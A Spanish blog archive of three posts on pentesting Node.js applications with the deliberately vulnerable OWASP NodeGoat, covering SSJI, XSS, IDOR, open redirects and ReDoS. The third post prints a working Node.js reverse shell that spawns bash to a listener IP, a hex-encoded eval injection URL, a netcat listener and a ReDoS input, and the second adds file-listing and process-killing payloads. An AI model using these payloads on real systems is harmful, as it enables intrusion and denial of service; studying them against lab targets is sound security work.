Archivo

Posts Tagged ‘owasp nodejs’

Pentesting contra aplicaciones en nodejs – Parte 3

julio 12, 2018 1 comentario

En la parte dos de la serie se ha hablado sobre la aplicación web vulnerable por diseño llamada NodeGoat, una aplicación web sencilla y con vulnerabilidades que pueden ser bastante triviales y fáciles de descubrir, para no desvelar todas las cosas que se pueden probar en dicho sistema y dejar que el lector explore la aplicación por su cuenta, en ésta parte se verán algunas rutinas de código en Node.js que son consideradas riesgosas o que representan una vulnerabilidad que se puede explotar manualmente o incluso utilizando alguna herramienta de pentesting web automatizado.

RCE con vulnerabilidades SSJI

En el post anterior se ha visto que NodeGoat tiene una vulnerabilidad del tipo SSJI que permite la inyección de rutinas Javascript directamente en el lado del servidor, dichas rutinas evidentemente pueden hacer un uso completo de la API de Node.js y hacer prácticamente cualquier cosa. Por ejemplo, partamos del siguiente fragmento de código:

			
var express = require('express');
			
var app = express();
			
app.get('/', function(req, res) {
			
  var value=eval("("+req.query.param+")");
			
  res.send('OK');
			
});
			
app.listen(8080);
			

Es muy simple, pero además de utilizar la función insegura “eval”, el parámetro que se utiliza en dicha función, es recibido desde una petición de un cliente sin aplicar ningún tipo de validación, dando como resultado una vulnerabilidad de SSJI. Como se ha visto en la entrada anterior, se pueden ingresar instrucciones para matar el proceso del servidor, causando una condición de DoS, listar los ficheros de un directorio concreto o incluso, ejecutar instrucciones directamente contra el servidor. Partiendo del código anterior, se probará ahora a crear una reverse shell, algo que es sencillo si se conoce la lógica básica de los sockets y cómo establecer una conexión entre cliente y víctima. Evidentemente para hacerlo, es necesario tener código en Node.js que se encargue de realizar las invocaciones adecuadas a la socket API, algo que no es demasiado complejo de hacer y que en última instancia, nos permitirá enganchar al canal abierto entre cliente y víctima, una shell que permita ejecutar comandos sobre el sistema comprometido. Es fácil encontrar una reverse shell en Node.js, por ejemplo, en el siguiente enlace se encuentra el código mínimo que debería de contener: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell en éste, la reverse shell que se utilizará será la siguiente:

var net = require('net');
var spawn = require('child_process').spawn;
HOST="192.168.1.113";
PORT="4444";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/bash',[]);
        client.write("Connected!.\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Canal cerrado!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);

Éste código tal cómo está funciona bien, sin embargo incluir todas éstas instrucciones directamente en la petición puede ser algo un poco más complicado, ya que es posible que algunos caracteres se escapen al realizar la petición y no lleguen todas las instrucciones completas, algo que hará que falle su ejecución. La solución es tan simple como códificar el script anterior y generar una cadena codificada que se pueda enviar directamente al servidor por medio de una petición HTTP sin que se pierdan caracteres por el camino. Para ello, se puede utilizar cualquier lenguaje de scripting que permita realizar un “encode” básico, en éste caso, se utiliza Python y concretamente, el procedimiento que se detalla en el siguiente repositorio de GitHub: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell

Como se puede apreciar desde el interprete de Python se puede crear una variable del tipo String con el código de la reverse shell y posteriormente invocar a “encode”. Partiendo de la cadena generada por “encode” se puede enviar en el parámetro “param” algo como lo siguiente:

http://localhost:8080/?param=%5B“./;eval(new Buffer(‘CADENA CODIFICADA’, ‘hex’).toString());//*”]

Antes de hacerlo es necesario levantar un listener en el puerto 8080, como siempre, utilizar netcat resulta cómodo y efectivo. nc -lvvp 4444

 

 

Como se puede apreciar en la imagen anterior, la reverse shell funciona correctamente y se ha podido ganar acceso al sistema partiendo de la vulnerabilidad de SSJI descrita antes.

ReDoS en Node.js

Una de las cosas más comunes en aplicaciones web, independiente del lenguaje de programación, es la de validar números de teléfono, documentos o direcciones de correo electrónico y lo más común para hacer estas cosas, consiste precisamente en utilizar expresiones regulares que se encontrarán disponibles en Internet como por ejemplo “stack overflow”. En este punto resulta conveniente ver la siguiente portada de un libro que todo desarrollador que se precie, en algún momento habrá hecho o puesto en práctica.

 

 

Extraer código de Stack overflow o cualquier otro sitio en Internet no está mal, pero hay que hacerlo con cabeza. Por ejemplo, algo común es copiar y pegar expresiones regulares que si bien, hacen lo que tienen que hacer, a lo mejor en términos de rendimiento no son de lo más óptimo y aquí entra en juego el modelo de Node.js y la imposibilidad de aceptar otras conexiones por parte de otros clientes cuando el proceso principal se encuentra ocupado “haciendo otras cosas”. Ahora bien, en el siguiente código, se utiliza una expresión regular para validar una dirección de correo electrónico:

var http = require("http");
var url = require("url");
http.createServer(function(request, response) 
{
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.end();
}).listen(8000);

La expresión regular está bien, salvo por un detalle. Al final de la misma se puede apreciar que aunque los caracteres finales deben tener una longitud de entre 2 y 4, con “+$” se indica que dicha condición queda invalidada y permite ingresar una cadena con una longitud superior, haciendo que dependiendo de lo que ingrese el usuario, el tiempo de procesamiento sea cada vez más largo y ojo! que esta expresión se ha extraído de stack overflow: https://stackoverflow.com/questions/4640583/what-are-these-javascript-syntax-called-a-za-z0-9-a-za-z0-9

A efectos prácticos que significa esto? Bien, dejaré que lo veáis vosotros mismos. Qué pasa si por ejemplo se levanta el servidor express con el código anterior y se ejecuta la siguiente petición HTTP?

http://localhost:8000/?email=adastra@thehackerway.com

Nada interesante, se valida correctamente la dirección y enseña por pantalla que la validación es correcta. Y con lo siguiente?

http://localhost:8000/?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.555555555555555555555555555555555555555555555555555555{

Bien, indica que la validación es incorrecta, lo cual es normal dado que se ha ingresado una dirección de correo invalida, pero lo que es interesante en éste punto es que el tiempo de respuesta ha sido bastante más elevado que la petición anterior, llegando incluso a tardar algunos segundos.

Con esto creo que el lector ya se hace una idea a lo que se pretende llegar, si la cadena es suficientemente larga, justo después del “.” (punto) el servidor se quedará completamente bloqueado y sin la posibilidad de procesar peticiones por parte de otros clientes. Una condición de DoS típica. En otras plataformas, esto no es demasiado problemático, dado que hay un modelo basado en “thread-per request” y si un hilo se queda bloqueado o tarda mucho en responder, los demás clientes de la aplicación podrán utilizar algún otro que se encuentre disponible en el servidor (si lo hay) pero en éste caso no tenemos ese modelo, si el proceso principal se queda bloqueado, el servidor entero también y ninguna otra petición podrá ser procesada. Esto es una vulnerabilidad del tipo “ReDoS” (Regex DoS).

Esto es todo de momento, espero que os haya parecido útil/interesante y que lo podáis poner en práctica.

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 2.

julio 10, 2018 1 comentario

En el primer post publicado de ésta serie sobre pentesting contra aplicaciones en node.js simplemente se ha dado un repaso general de las principales vulnerabilidades que se pueden detectar y posteriormente explotar en aplicaciones web basadas en ésta tecnología, la mayoría de las cuales no se encuentran especificadas en el OWASP Top 10, por lo tanto hay que aplicar un enfoque un poco diferente a la hora de realizar un proceso de pentesting contra éste tipo de aplicaciones. No obstante, esto no significa que las vulnerabilidades descritas en el OWASP Top 10 no afecten a las aplicaciones desarrolladas con node.js, todo lo contrario, también son bastante frecuentes cuando se desarrolla una aplicación sin tener en cuenta la seguridad en el proceso de construcción.
En el post anterior también se han mencionado las principales diferencias entre el modelo “event-loop” que implementan las aplicaciones basadas en node.js y el modelo “thread per-request”, por lo tanto en éste post vamos a comenzar a ver ejemplos prácticos de las vulnerabilidades descritas en el primer articulo para que todo quede un poco más claro.

Entorno de pruebas con NodeGoat.

Antes de comenzar y ver ejemplos un poco más centrados en lo que viene a ser el pentesting contra aplicaciones con node.js, es mejor contar con un entorno de pruebas y qué mejor que una aplicación web vulnerable por diseño, por ese motivo a partir de éste punto se procede a explicar la instalación de NodeGoat y su posterior puesta en marcha. Como se verá a continuación es un procedimiento bastante sencillo, solamente es necesario configurar una conexión a una base de datos MongoDB y tener todas las dependencias instaladas en el directorio donde se encuentra la aplicación, algo que se puede conseguir fácilmente utilizando “npm”.

El proyecto se encuentra disponible en GitHub en la siguiente url: https://github.com/OWASP/NodeGoat y tal como se puede ver en el README, la instalación consiste principalmente en la instalación de una base de datos MongoDB (la cual puede encontrarse en un servicio en Internet como https://mlab.com/) y contar con todas las librerías y dependencias obligatorias. El procedimiento se encuentra bastante bien explicado en el repositorio, por lo tanto no tiene mucho sentido replicar lo mismo que aparece en el fichero de README del proyecto, basta simplemente con seguir cada uno de los pasos indicados y será posible tener una instancia de NodeGoat en ejecución, por otro lado, para aquellos que prefieran utilizar Docker, también existe una imagen que cuenta con todo lo necesario para tener el entorno preparado.
Una vez que todas las dependencias se encuentran instaladas y todo está debidamente configurado, se puede ejecutar el “server.js” para levantar el módulo de express que da acceso a la aplicación y desde un navegador web apuntar a la dirección local en el puerto “4000”.

 

 

Las credenciales de acceso a la aplicación se encuentran en el README del proyecto, se pueden usar las cuentas: admin/Admin_123, user1/User1_123 o user2/User2_123.

Utilizando cualquiera de las cuentas anteriores, se puede iniciar sesión en la aplicación.

Ahora que ya se cuenta con NodeGoat en ejecución, es posible comenzar a hacer pruebas contra la aplicación, empezando por las más sencillas para ir tomando confianza.

En la aplicación existen varias vulnerabilidades de inyección del tipo XSS, una de ellas se encuentra en el perfil del usuario, en donde es posible editar información básica del usuario que se encuentra autenticado. Dado que algunos de dichos campos no gestionan adecuadamente las entradas y no “escapan” caracteres que son potencialmente peligrosos, es fácil incluir un script que haga cualquier cosa, desde el típico “alert”, cargar un iframe o una de mis favoritas, cargar un hook de BeEF ubicado en un servicio oculto en TOR. Seguramente algunos os diréis, que es necesario que el cliente se encuentre también conectado a dicha red para poder acceder a las direcciones onion, algo que es parcialmente cierto, pero también existen servicios en Internet como por ejemplo “tor2web” que se encarga de servir cómo puente entre usuarios que navegan en la “clear web” sin utilizar TOR y los servicios que se encuentran alojados en la deep web.

Además de la sección de perfil del usuario, ubicado en el extremo superior derecho de la aplicación web, en la opción “memos” es posible escribir un mensaje que quedará almacenado en la base de datos y el cual, admite entre otras cosas, tags HTML que serán renderizadas directamente en el navegador web de cada uno de los usuarios que accedan a la página, lo que nuevamente da como resultado una vulnerabilidad del tipo XSS almacenado.

Otra vulnerabilidad que también es fácil de descubrir se encuentra en la sección “allocations”. La lógica de ésta página es sencilla, cada uno de los usuarios autenticados accede a sus propios “allocations” desde ésta pantalla, sin embargo, la aplicación recibe por parámetro el identificador de cada “allocation” y realiza una búsqueda directa contra la base de datos, sin verificar si el usuario que realiza la petición tiene permiso de acceder al elemento solicitado o dicho de otra manera, nos encontramos con una vulnerabilidad típica de “Insecure direct object reference”, definida en el OWASP Top 10, aunque con la versión más reciente del 2017 ahora tiene otro nombre, pero la filosofía y criticidad de éste tipo de vulnerabilidad sigue siendo la misma. En éste caso, simplemente basta con cambiar la url “/allocations/2” por “/allocations/CUALQUIERNUMERO” y comprobar que en el caso de que la base de datos devuelva resultados, cambia incluso la página de perfil, apareciendo los datos del usuario al que pertenece dicho “allocation”.

En la sección que pone “Learning Resources” hay un parámetro llamado “url” el cual recibe como argumento una url que es utilizada por la aplicación web para realizar una redirección, está es otra vulnerabilidad fácil de descubrir, dado que el parámetro puede ser modificado e incluir un dominio arbitrario, controlando de ésta forma la navegación del usuario. Otra vulnerabilidad que se encuentra definida en el OWASP Top10, aunque en está ocasión, en la versión del 2013: “Insecure Redirects”, vulnerabilidad que ya no se encuentra recogida en la versión actual de OWASP.

Hasta aquí se han visto las vulnerabilidades más sencillas en NodeGoat, sin embargo hay otras más interesantes y que están enfocadas a lo que viene a ser node.js, las cuales se han explicado a grandes rasgos en el artículo anterior. Comenzaremos con una vulnerabilidad de SSJI (Server Side Javascript Injection) la cual como se ha mencionado antes, puede producir la ejecución de código en el lado del servidor y dado su impacto y criticidad, es de las primeras cosas que se tienen que ver en una aplicación desarrollada en node.js. Concretamente, a la hora de realizar una auditoría de código en una aplicación con ésta tecnología, hay que buscar los siguientes patrones:

* Uso de la función “eval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setInterval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setTimeout” recibiendo entradas por parte del usuario sin validar.

* Creación de una función anónima en node.js partiendo de instrucciones recibidas por parte del usuario y sin validar.

En NodeGoat se encuentra la opción “Contributions” en el menú, la cual tiene tres cajas de texto que reciben valores numéricos cada una, correspondientes a un porcentaje de payroll. Si se ingresa un valor numérico no hay ningún problema, pero si se llega a ingresar una cadena de texto…

 

Esto simplemente significa que la función “eval” ha fallado en la validación del valor numérico, sin embargo, otra característica interesante de “eval” es que además de validar valores numéricos, también se encarga de la validación y ejecución de instrucciones Javascript. Esto significa, que conociendo la API de Node.js será posible incluir cualquier tipo de instrucción que permita la ejecución arbitraria de código. Unos ejemplos típicos podrían ser “process.exit()”, “while(1)” o incluso, incluir una reverse shell escrita en node.js, algo que se verá en el siguiente post.

Con una vulnerabilidad de SSJI, no solamente es posible producir una condición de denegación de servicio o crear una shell contra el sistema, también es posible, con muy pocas líneas de código, leer directorios y ficheros de forma arbitraria en el sistema de archivos. Simplemente incluyendo una instrucción como: “res.end(require(‘fs’).readdirSync(‘.’).toString())” se podrán ver los ficheros y directorios del directorio raíz de la aplicación web.

Hay muchas más cosas que probar en NodeGoat, las cuales se verán en las próximas entradas de ésta serie.

 

 

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

A %d blogueros les gusta esto: